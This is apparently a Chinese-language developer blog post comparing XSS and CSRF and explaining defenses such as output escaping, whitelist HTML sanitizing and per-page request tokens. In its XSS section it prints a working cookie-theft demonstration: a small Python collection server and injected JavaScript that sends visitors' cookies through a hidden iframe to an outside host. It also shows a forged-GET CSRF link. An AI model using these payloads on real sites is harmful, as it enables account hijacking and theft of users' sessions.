摘要：但最近又聽(tīng)說(shuō)了另一種跨站攻擊，于是找了些資料了解了一下，并與放在一起做個(gè)比較。腳本中的不速之客全稱(chēng)跨站腳本，是注入攻擊的一種。

XSS：跨站腳本（Cross-site scripting）

CSRF：跨站請(qǐng)求偽造（Cross-site request forgery）

在那個(gè)年代，大家一般用拼接字符串的方式來(lái)構(gòu)造動(dòng)態(tài) SQL 語(yǔ)句創(chuàng)建應(yīng)用，于是 SQL 注入成了很流行的攻擊方式。在這個(gè)年代， 參數(shù)化查詢(xún) 已經(jīng)成了普遍用法，我們已經(jīng)離 SQL 注入很遠(yuǎn)了。但是，歷史同樣悠久的 XSS 和 CSRF 卻沒(méi)有遠(yuǎn)離我們。由于之前已經(jīng)對(duì) XSS 很熟悉了，所以我對(duì)用戶(hù)輸入的數(shù)據(jù)一直非常小心。如果輸入的時(shí)候沒(méi)有經(jīng)過(guò) Tidy 之類(lèi)的過(guò)濾，我一定會(huì)在模板輸出時(shí)候全部轉(zhuǎn)義。所以個(gè)人感覺(jué)，要避免 XSS 也是很容易的，重點(diǎn)是要“小心”。但最近又聽(tīng)說(shuō)了另一種跨站攻擊 CSRF ，于是找了些資料了解了一下，并與 XSS 放在一起做個(gè)比較。
XSS：腳本中的不速之客

XSS 全稱(chēng)“跨站腳本”，是注入攻擊的一種。其特點(diǎn)是不對(duì)服務(wù)器端造成任何傷害，而是通過(guò)一些正常的站內(nèi)交互途徑，例如發(fā)布評(píng)論，提交含有 JavaScript 的內(nèi)容文本。這時(shí)服務(wù)器端如果沒(méi)有過(guò)濾或轉(zhuǎn)義掉這些腳本，作為內(nèi)容發(fā)布到了頁(yè)面上，其他用戶(hù)訪問(wèn)這個(gè)頁(yè)面的時(shí)候就會(huì)運(yùn)行這些腳本。

運(yùn)行預(yù)期之外的腳本帶來(lái)的后果有很多中，可能只是簡(jiǎn)單的惡作劇——一個(gè)關(guān)不掉的窗口：

while (true) {
    alert("你關(guān)不掉我~");
}

也可以是盜號(hào)或者其他未授權(quán)的操作——我們來(lái)模擬一下這個(gè)過(guò)程，先建立一個(gè)用來(lái)收集信息的服務(wù)器：

#!/usr/bin/env python
#-*- coding:utf-8 -*-

"""
跨站腳本注入的信息收集服務(wù)器
"""

import bottle

app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile="/var/db/myxss.sqlite")
app.install(plugin)

@app.route("/myxss/")
def show(cookies, db):
    SQL = "INSERT INTO "myxss" ("cookies") VALUES (?)"
    try:
        db.execute(SQL, cookies)
    except:
        pass
    return ""

if __name__ == "__main__":
    app.run()

然后在某一個(gè)頁(yè)面的評(píng)論中注入這段代碼：

// 用  包起來(lái)放在評(píng)論中

(function(window, document) {
    // 構(gòu)造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隱藏 iframe 用于通訊
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 開(kāi)工
    document.body.appendChild(hideFrame);
})(window, document);

于是每個(gè)訪問(wèn)到含有該評(píng)論的頁(yè)面的用戶(hù)都會(huì)遇到麻煩——他們不知道背后正悄悄的發(fā)起了一個(gè)請(qǐng)求，是他們所看不到的。而這個(gè)請(qǐng)求，會(huì)把包含了他們的帳號(hào)和其他隱私的信息發(fā)送到收集服務(wù)器上。

我們知道 AJAX 技術(shù)所使用的 XMLHttpRequest 對(duì)象都被瀏覽器做了限制，只能訪問(wèn)當(dāng)前域名下的 URL，所謂不能“跨域”問(wèn)題。這種做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是總是有用，正如上面的注入代碼，用 iframe 也一樣可以達(dá)到相同的目的。甚至在愿意的情況下，我還能用 iframe 發(fā)起 POST 請(qǐng)求。當(dāng)然，現(xiàn)在一些瀏覽器能夠很智能地分析出部分 XSS 并予以攔截，例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功，何況這個(gè)世界上還有大量根本不知道什么是瀏覽器的用戶(hù)在用著可怕的 IE6。從原則上將，我們也不應(yīng)該把事關(guān)安全性的責(zé)任推脫給瀏覽器，所以防止 XSS 的根本之道還是過(guò)濾用戶(hù)輸入。用戶(hù)輸入總是不可信任的，這點(diǎn)對(duì)于 Web 開(kāi)發(fā)者應(yīng)該是常識(shí)。

正如上文所說(shuō)，如果我們不需要用戶(hù)輸入 HTML 而只想讓他們輸入純文本，那么把所有用戶(hù)輸入進(jìn)行 HTML 轉(zhuǎn)義輸出是個(gè)不錯(cuò)的做法。似乎很多 Web 開(kāi)發(fā)框架、模版引擎的開(kāi)發(fā)者也發(fā)現(xiàn)了這一點(diǎn)，Django 內(nèi)置模版和 Jinja2 模版總是默認(rèn)轉(zhuǎn)義輸出變量的。如果沒(méi)有使用它們，我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數(shù)，Python 可以導(dǎo)入 cgi 模塊用其中的 cgi.escape 函數(shù)。如果使用了某款模版引擎，那么其必自帶了方便快捷的轉(zhuǎn)義方式。

真正麻煩的是，在一些場(chǎng)合我們要允許用戶(hù)輸入 HTML，又要過(guò)濾其中的腳本。Tidy 等 HTML 清理庫(kù)可以幫忙，但前提是我們小心地使用。僅僅粗暴地去掉 script 標(biāo)簽是沒(méi)有用的，任何一個(gè)合法 HTML 標(biāo)簽都可以添加 onclick 一類(lèi)的事件屬性來(lái)執(zhí)行 JavaScript。對(duì)于復(fù)雜的情況，我個(gè)人更傾向于使用簡(jiǎn)單的方法處理，簡(jiǎn)單的方法就是白名單重新整理。用戶(hù)輸入的 HTML 可能擁有很復(fù)雜的結(jié)構(gòu)，但我們并不將這些數(shù)據(jù)直接存入數(shù)據(jù)庫(kù)，而是使用 HTML 解析庫(kù)遍歷節(jié)點(diǎn)，獲取其中數(shù)據(jù)（之所以不使用 XML 解析庫(kù)是因?yàn)?HTML 要求有較強(qiáng)的容錯(cuò)性）。然后根據(jù)用戶(hù)原有的標(biāo)簽屬性，重新構(gòu)建 HTML 元素樹(shù)。構(gòu)建的過(guò)程中，所有的標(biāo)簽、屬性都只從白名單中拿取。這樣可以確保萬(wàn)無(wú)一失——如果用戶(hù)的某種復(fù)雜輸入不能為解析器所識(shí)別（前面說(shuō)了 HTML 不同于 XML，要求有很強(qiáng)的容錯(cuò)性），那么它不會(huì)成為漏網(wǎng)之魚(yú)，因?yàn)榘酌麊沃匦抡淼牟呗詴?huì)直接丟棄掉這些未能識(shí)別的部分。最后獲得的新 HTML 元素樹(shù)，我們可以拍胸脯保證——所有的標(biāo)簽、屬性都來(lái)自白名單，一定不會(huì)遺漏。

現(xiàn)在看來(lái)，大多數(shù) Web 開(kāi)發(fā)者都了解 XSS 并知道如何防范，往往大型的 XSS 攻擊（包括前段時(shí)間新浪微博的 XSS 注入）都是由于疏漏。我個(gè)人建議在使用模版引擎的 Web 項(xiàng)目中，開(kāi)啟（或不要關(guān)閉）類(lèi)似 Django Template、Jinja2 中“默認(rèn)轉(zhuǎn)義”（Auto Escape）的功能。在不需要轉(zhuǎn)義的場(chǎng)合，我們可以用類(lèi)似 {{ myvar | raw }} 的方式取消轉(zhuǎn)義。這種白名單式的做法，有助于降低我們由于疏漏留下 XSS 漏洞的風(fēng)險(xiǎn)。

另外一個(gè)風(fēng)險(xiǎn)集中區(qū)域，是富 AJAX 類(lèi)應(yīng)用（例如豆瓣網(wǎng)的阿爾法城）。這類(lèi)應(yīng)用的風(fēng)險(xiǎn)并不集中在 HTTP 的靜態(tài)響應(yīng)內(nèi)容，所以不是開(kāi)啟模版自動(dòng)轉(zhuǎn)義能就能一勞永逸的。再加上這類(lèi)應(yīng)用往往需要跨域，開(kāi)發(fā)者不得不自己打開(kāi)危險(xiǎn)的大門(mén)。這種情況下，站點(diǎn)的安全非常依賴(lài)開(kāi)發(fā)者的細(xì)心和應(yīng)用上線(xiàn)前有效的測(cè)試?，F(xiàn)在亦有不少開(kāi)源的 XSS 漏洞測(cè)試軟件包（似乎有篇文章提到豆瓣網(wǎng)的開(kāi)發(fā)也使用自動(dòng)化 XSS 測(cè)試），但我都沒(méi)試用過(guò)，故不予評(píng)價(jià)。不管怎么說(shuō)，我認(rèn)為從用戶(hù)輸入的地方把好關(guān)總是成本最低而又最有效的做法。

更新（2014-10-04）

這里附上一些“白名單”消毒 HTML 標(biāo)簽和屬性（Sanitize HTML）的開(kāi)源解決方案：

Python: lxml.html.clean / bleach
Ruby: Sanitize
JavaScript: sanitize-html
PHP: htmlpurifier

CSRF：冒充用戶(hù)之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么區(qū)別，后來(lái)才明白 CSRF 和 XSS 根本是兩個(gè)不同維度上的分類(lèi)。XSS 是實(shí)現(xiàn) CSRF 的諸多途徑中的一條，但絕對(duì)不是唯一的一條。一般習(xí)慣上把通過(guò) XSS 來(lái)實(shí)現(xiàn)的 CSRF 稱(chēng)為 XSRF。

CSRF 的全稱(chēng)是“跨站請(qǐng)求偽造”，而 XSS 的全稱(chēng)是“跨站腳本”?？雌饋?lái)有點(diǎn)相似，它們都是屬于跨站攻擊——不攻擊服務(wù)器端而攻擊正常訪問(wèn)網(wǎng)站的用戶(hù)，但前面說(shuō)了，它們的攻擊類(lèi)型是不同維度上的分類(lèi)。CSRF 顧名思義，是偽造請(qǐng)求，冒充用戶(hù)在站內(nèi)的正常操作。我們知道，絕大多數(shù)網(wǎng)站是通過(guò) cookie 等方式辨識(shí)用戶(hù)身份（包括使用服務(wù)器端 Session 的網(wǎng)站，因?yàn)?Session ID 也是大多保存在 cookie 里面的），再予以授權(quán)的。所以要偽造用戶(hù)的正常操作，最好的方法是通過(guò) XSS 或鏈接欺騙等途徑，讓用戶(hù)在本機(jī)（即擁有身份 cookie 的瀏覽器端）發(fā)起用戶(hù)所不知道的請(qǐng)求。

嚴(yán)格意義上來(lái)說(shuō)，CSRF 不能分類(lèi)為注入攻擊，因?yàn)?CSRF 的實(shí)現(xiàn)途徑遠(yuǎn)遠(yuǎn)不止 XSS 注入這一條。通過(guò) XSS 來(lái)實(shí)現(xiàn) CSRF 易如反掌，但對(duì)于設(shè)計(jì)不佳的網(wǎng)站，一條正常的鏈接都能造成 CSRF。

例如，一論壇網(wǎng)站的發(fā)貼是通過(guò) GET 請(qǐng)求訪問(wèn)，點(diǎn)擊發(fā)貼之后 JS 把發(fā)貼內(nèi)容拼接成目標(biāo) URL 并訪問(wèn)： http://example.com/bbs/create_post.php?title=標(biāo)題&content=內(nèi)容 那么，我只需要在論壇中發(fā)一帖，包含一鏈接： http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈 只要有用戶(hù)點(diǎn)擊了這個(gè)鏈接，那么他們的帳戶(hù)就會(huì)在不知情的情況下發(fā)布了這一帖子?？赡苓@只是個(gè)惡作劇，但是既然發(fā)貼的請(qǐng)求可以偽造，那么刪帖、轉(zhuǎn)帳、改密碼、發(fā)郵件全都可以偽造。

首先可以提高的一個(gè)門(mén)檻，就是改良站內(nèi) API 的設(shè)計(jì)。對(duì)于發(fā)布帖子這一類(lèi)創(chuàng)建資源的操作，應(yīng)該只接受 POST 請(qǐng)求，而 GET 請(qǐng)求應(yīng)該只瀏覽而不改變服務(wù)器端資源。當(dāng)然，最理想的做法是使用REST 風(fēng)格 [2] 的 API 設(shè)計(jì)，GET、POST、PUT、DELETE 四種請(qǐng)求方法對(duì)應(yīng)資源的讀取、創(chuàng)建、修改、刪除?，F(xiàn)在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請(qǐng)求方法，我們可以使用 ajax 提交請(qǐng)求（例如通過(guò) jquery-form 插件，我最喜歡的做法），也可以使用隱藏域指定請(qǐng)求方法，然后用 POST 模擬 PUT 和 DELETE （Ruby on Rails 的做法）。這么一來(lái)，不同的資源操作區(qū)分的非常清楚，我們把問(wèn)題域縮小到了非 GET 類(lèi)型的請(qǐng)求上——攻擊者已經(jīng)不可能通過(guò)發(fā)布鏈接來(lái)偽造請(qǐng)求了，但他們?nèi)钥梢园l(fā)布表單，或者在其他站點(diǎn)上使用我們?nèi)庋鄄豢梢?jiàn)的表單，在后臺(tái)用 js 操作，偽造請(qǐng)求。

接下來(lái)我們就可以用比較簡(jiǎn)單也比較有效的方法來(lái)防御 CSRF，這個(gè)方法就是“請(qǐng)求令牌”。讀過(guò)《J2EE 核心模式》的同學(xué)應(yīng)該對(duì)“同步令牌”應(yīng)該不會(huì)陌生，“請(qǐng)求令牌”和“同步令牌”原理是一樣的，只不過(guò)目的不同，后者是為了解決 POST 請(qǐng)求重復(fù)提交問(wèn)題，前者是為了保證收到的請(qǐng)求一定來(lái)自預(yù)期的頁(yè)面。實(shí)現(xiàn)方法非常簡(jiǎn)單，首先服務(wù)器端要以某種策略生成隨機(jī)字符串，作為令牌（token），保存在 Session 里。然后在發(fā)出請(qǐng)求的頁(yè)面，把該令牌以隱藏域一類(lèi)的形式，與其他信息一并發(fā)出。在接收請(qǐng)求的頁(yè)面，把接收到的信息中的令牌與 Session 中的令牌比較，只有一致的時(shí)候才處理請(qǐng)求，否則返回 HTTP 403 拒絕請(qǐng)求或者要求用戶(hù)重新登錄驗(yàn)證身份。

請(qǐng)求令牌雖然使用起來(lái)簡(jiǎn)單，但并非不可破解，使用不當(dāng)會(huì)增加安全隱患。使用請(qǐng)求令牌來(lái)防止 CSRF 有以下幾點(diǎn)要注意：

雖然請(qǐng)求令牌原理和驗(yàn)證碼有相似之處，但不應(yīng)該像驗(yàn)證碼一樣，全局使用一個(gè) Session Key。因?yàn)檎?qǐng)求令牌的方法在理論上是可破解的，破解方式是解析來(lái)源頁(yè)面的文本，獲取令牌內(nèi)容。如果全局使用一個(gè) SessionKey，那么危險(xiǎn)系數(shù)會(huì)上升。原則上來(lái)說(shuō)，每個(gè)頁(yè)面的請(qǐng)求令牌都應(yīng)該放在獨(dú)立的 Session Key中。我們?cè)谠O(shè)計(jì)服務(wù)器端的時(shí)候，可以稍加封裝，編寫(xiě)一個(gè)令牌工具包，將頁(yè)面的標(biāo)識(shí)作為 Session 中保存令牌的鍵。

在 ajax 技術(shù)應(yīng)用較多的場(chǎng)合，因?yàn)楹苡姓?qǐng)求是 JavaScript 發(fā)起的，使用靜態(tài)的模版輸出令牌值或多或少有些不方便。但無(wú)論如何，請(qǐng)不要提供直接獲取令牌值的API。這么做無(wú)疑是鎖上了大門(mén)，卻又把鑰匙放在門(mén)口，讓我們的請(qǐng)求令牌退化為同步令牌。

第一點(diǎn)說(shuō)了請(qǐng)求令牌理論上是可破解的，所以非常重要的場(chǎng)合，應(yīng)該考慮使用驗(yàn)證碼（令牌的一種升級(jí)，目前來(lái)看破解難度極大），或者要求用戶(hù)再次輸入密碼（亞馬遜、淘寶的做法）。但這兩種方式用戶(hù)體驗(yàn)都不好，所以需要產(chǎn)品開(kāi)發(fā)者權(quán)衡。

無(wú)論是普通的請(qǐng)求令牌還是驗(yàn)證碼，服務(wù)器端驗(yàn)證過(guò)一定記得銷(xiāo)毀。忘記銷(xiāo)毀用過(guò)的令牌是個(gè)很低級(jí)但是殺傷力很大的錯(cuò)誤。我們學(xué)校的選課系統(tǒng)就有這個(gè)問(wèn)題，驗(yàn)證碼用完并未銷(xiāo)毀，故只要獲取一次驗(yàn)證碼圖片，其中的驗(yàn)證碼可以在多次請(qǐng)求中使用（只要不再次刷新驗(yàn)證碼圖片），一直用到Session 超時(shí)。這也是為何選課系統(tǒng)加了驗(yàn)證碼，外掛軟件升級(jí)一次之后仍然暢通無(wú)阻。

如下也列出一些據(jù)說(shuō)能有效防范 CSRF，其實(shí)效果甚微的方式甚至無(wú)效的做法。

通過(guò) referer 判定來(lái)源頁(yè)面：referer 是在 HTTP Request Head里面的，也就是由請(qǐng)求的發(fā)送者決定的。如果我喜歡，可以給 referer任何值。當(dāng)然這個(gè)做法并不是毫無(wú)作用，起碼可以防小白。但我覺(jué)得性?xún)r(jià)比不如令牌。

過(guò)濾所有用戶(hù)發(fā)布的鏈接：這個(gè)是最無(wú)效的做法，因?yàn)槭紫裙粽卟灰欢ㄒ獜恼緝?nèi)發(fā)起請(qǐng)求（上面提到過(guò)了），而且就算從站內(nèi)發(fā)起請(qǐng)求，途徑也遠(yuǎn)遠(yuǎn)不止鏈接一條。比如就是個(gè)不錯(cuò)的選擇，還不需要用戶(hù)去點(diǎn)擊，只要用戶(hù)的瀏覽器會(huì)自動(dòng)加載圖片，就會(huì)自動(dòng)發(fā)起請(qǐng)求。在請(qǐng)求發(fā)起頁(yè)面用 alert 彈窗提醒用戶(hù)：這個(gè)方法看上去能干擾站外通過(guò) iframe 發(fā)起的 CSRF，但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞，或者干脆脫離 iframe，使用 Flash 來(lái)達(dá)到目的。

總體來(lái)說(shuō)，目前防御 CSRF 的諸多方法還沒(méi)幾個(gè)能徹底無(wú)解的。所以 CSDN 上看到討論 CSRF 的文章，一般都會(huì)含有“無(wú)恥”二字來(lái)形容（另一位有該名號(hào)的貌似是 DDOS 攻擊）。作為開(kāi)發(fā)者，我們能做的就是盡量提高破解難度。當(dāng)破解難度達(dá)到一定程度，網(wǎng)站就逼近于絕對(duì)安全的位置了（雖然不能到達(dá)）。上述請(qǐng)求令牌方法，就我認(rèn)為是最有可擴(kuò)展性的，因?yàn)槠湓砗?CSRF 原理是相克的。CSRF 難以防御之處就在于對(duì)服務(wù)器端來(lái)說(shuō)，偽造的請(qǐng)求和正常的請(qǐng)求本質(zhì)上是一致的。而請(qǐng)求令牌的方法，則是揪出這種請(qǐng)求上的唯一區(qū)別——來(lái)源頁(yè)面不同。我們還可以做進(jìn)一步的工作，例如讓頁(yè)面中 token 的 key 動(dòng)態(tài)化，進(jìn)一步提高攻擊者的門(mén)檻。本文只是我個(gè)人認(rèn)識(shí)的一個(gè)總結(jié)，便不討論過(guò)深了。